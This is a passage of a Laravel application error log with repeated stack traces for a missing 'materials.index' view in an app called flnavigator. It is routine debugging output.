#31 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#32 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
#33 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle()
#34 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#35 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
#36 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle()
#37 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#38 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle()
#39 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#40 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle()
#41 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#42 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle()
#43 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#44 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle()
#45 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#46 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle()
#47 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#48 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle()
#49 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#50 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then()
#51 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter()
#52 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle()
#53 /var/www/html/flnavigator/public/index.php(20): Illuminate\\Foundation\\Application->handleRequest()
#54 {main}
"} 
[2026-06-02 12:11:16] local.ERROR: View [materials.index] not found. {"exception":"[object] (InvalidArgumentException(code: 0): View [materials.index] not found. at /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php:138)
[stacktrace]
#0 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php(78): Illuminate\\View\\FileViewFinder->findInPaths()
#1 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/Factory.php(150): Illuminate\\View\\FileViewFinder->find()
#2 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/helpers.php(1101): Illuminate\\View\\Factory->make()
#3 /var/www/html/flnavigator/app/Http/Controllers/MaterialController.php(71): view()
#4 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(46): App\\Http\\Controllers\\MaterialController->index()
#5 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Route.php(265): Illuminate\\Routing\\ControllerDispatcher->dispatch()
#6 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Route.php(211): Illuminate\\Routing\\Route->runController()
#7 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(822): Illuminate\\Routing\\Route->run()
#8 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}()
#9 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
#10 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle()
#11 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php(87): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#12 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle()
#13 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#14 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle()
#15 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(120): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#16 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(63): Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest()
#17 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Session\\Middleware\\StartSession->handle()
#18 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php(36): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#19 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle()
#20 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(74): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#21 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\EncryptCookies->handle()
#22 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#23 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then()
#24 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack()
#25 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute()
#26 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute()
#27 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch()
#28 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}()
#29 /var/www/html/flnavigator/vendor/livewire/livewire/src/Features/SupportDisablingBackButtonCache/DisableBackButtonCacheMiddleware.php(19): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
#30 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Livewire\\Features\\SupportDisablingBackButtonCache\\DisableBackButtonCacheMiddleware->handle()
#31 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#32 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
#33 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle()
#34 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#35 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
#36 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle()
#37 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#38 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle()
#39 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#40 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle()
#41 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#42 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle()
#43 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#44 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle()
#45 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#46 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle()
#47 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#48 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle()
#49 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#50 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then()
#51 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter()
#52 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle()
#53 /var/www/html/flnavigator/public/index.php(20): Illuminate\\Foundation\\Application->handleRequest()
#54 {main}
"} 
[2026-06-02 12:11:22] local.ERROR: View [materials.index] not found. {"exception":"[object] (InvalidArgumentException(code: 0): View [materials.index] not found. at /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php:138)
[stacktrace]
#0 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php(78): Illuminate\\View\\FileViewFinder->findInPaths()
#1 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/Factory.php(150): Illuminate\\View\\FileViewFinder->find()
#2 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/helpers.php(1101): Illuminate\\View\\Factory->make()
#3 /var/www/html/flnavigator/app/Http/Controllers/MaterialController.php(71): view()
#4 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(46): App\\Http\\Controllers\\MaterialController->index()
#5 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Route.php(265): Illuminate\\Routing\\ControllerDispatcher->dispatch()
#6 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Route.php(211): Illuminate\\Routing\\Route->runController()
#7 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(822): Illuminate\\Routing\\Route->run()
#8 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}()
#9 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
#10 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle()
#11 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php(87): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#12 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle()
#13 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#14 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle()
#15 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(120): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#16 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(63): Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest()
#17 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Session\\Middleware\\StartSession->handle()
#18 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php(36): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#19 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle()
#20 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(74): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#21 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\EncryptCookies->handle()
#22 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#23 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then()
#24 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack()
#25 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute()
#26 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute()
#27 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch()
#28 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}()
#29 /var/www/html/flnavigator/vendor/livewire/livewire/src/Features/SupportDisablingBackButtonCache/DisableBackButtonCacheMiddleware.php(19): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
#30 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Livewire\\Features\\SupportDisablingBackButtonCache\\DisableBackButtonCacheMiddleware->handle()
#31 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#32 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
#33 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle()
#34 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#35 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
#36 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle()
#37 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#38 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle()
#39 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#40 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle()
#41 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#42 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle()
#43 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#44 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle()
#45 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#46 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle()
#47 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#48 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle()
#49 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#50 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then()
#51 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter()
#52 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle()
#53 /var/www/html/flnavigator/public/index.php(20): Illuminate\\Foundation\\Application->handleRequest()
#54 {main}
"} 
[2026-06-02 12:11:28] local.ERROR: View [materials.index] not found. {"exception":"[object] (InvalidArgumentException(code: 0): View [materials.index] not found. at /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php:138)
[stacktrace]
#0 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php(78): Illuminate\\View\\FileViewFinder->findInPaths()
#1 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/Factory.php(150): Illuminate\\View\\FileViewFinder->find()
#2 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/helpers.php(1101): Illuminate\\View\\Factory->make()
#3 /var/www/html/flnavigator/app/Http/Controllers/MaterialController.php(71): view()
#4 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(46): App\\Http\\Controllers\\MaterialController->index()
#5 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Route.php(265): Illuminate\\Routing\\ControllerDispatcher->dispatch()
#6 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Route.php(211): Illuminate\\Routing\\Route->runController()
#7 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(822): Illuminate\\Routing\\Route->run()
#8 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}()
#9 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
#10 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle()
#11 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php(87): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#12 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle()
#13 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#14 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle()
#15 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(120): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#16 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(63): Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest()
#17 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Session\\Middleware\\StartSession->handle()
#18 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php(36): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#19 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle()
#20 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(74): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#21 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\EncryptCookies->handle()
#22 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#23 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then()
#24 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack()
#25 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute()
#26 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute()
#27 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch()
#28 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}()
